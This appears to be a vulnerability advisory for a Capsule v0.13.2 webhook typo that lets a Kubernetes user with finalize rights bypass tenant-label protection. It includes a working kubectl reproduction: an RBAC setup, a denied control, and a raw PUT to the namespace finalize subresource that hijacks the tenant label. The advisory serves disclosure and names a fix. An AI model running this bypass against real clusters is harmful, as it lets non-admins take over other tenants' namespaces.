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CVE-2026-55636 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Capsule v0.13.2 webhook rules contain namespace/finalize (singular) instead of namespaces/finalize (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.
PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The singular rule never matches. matchPolicy: Equivalent does not compensate.
Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): kubectl label --as=alice = DENIED (control). kubectl replace --raw /finalize --as=alice = 200 OK (bypass). Tenant label changed.
Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: namespace/finalize -> namespaces/finalize.
The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but charts/capsule/templates/configuration.yaml line 105 contains a singular/plural typo: namespace/finalize instead of namespaces/finalize. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.
In Kubernetes admission webhooks, rules.resources matches against the plural resource name. A PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The rule namespace/finalize (singular) never matches any real API request.
The matchPolicy: Equivalent setting does NOT compensate (it handles API group/version variations, not resource name typos).
Confirmed on kind cluster + Capsule v0.13.2 (Helm chart):
# Setup: alice with namespaces/finalize RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ns-finalize-updater
rules:
- apiGroups: [""]
- resources: ["namespaces/finalize"]
- verbs: ["update"]
- - apiGroups: [""]
- resources: ["namespaces"]
- verbs: ["get", "list"]
- EOF
- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice
# Control: normal label change DENIED
kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice
# Error: admission webhook denied
# Bypass: finalize changes tenant label (webhook NOT invoked)
kubectl get namespace oil-prod -o json > /tmp/ns.json
# modify tenant label to "hijacked"
kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice
# 200 OK - tenant label changed
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Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: namespace/finalize -> namespaces/finalize.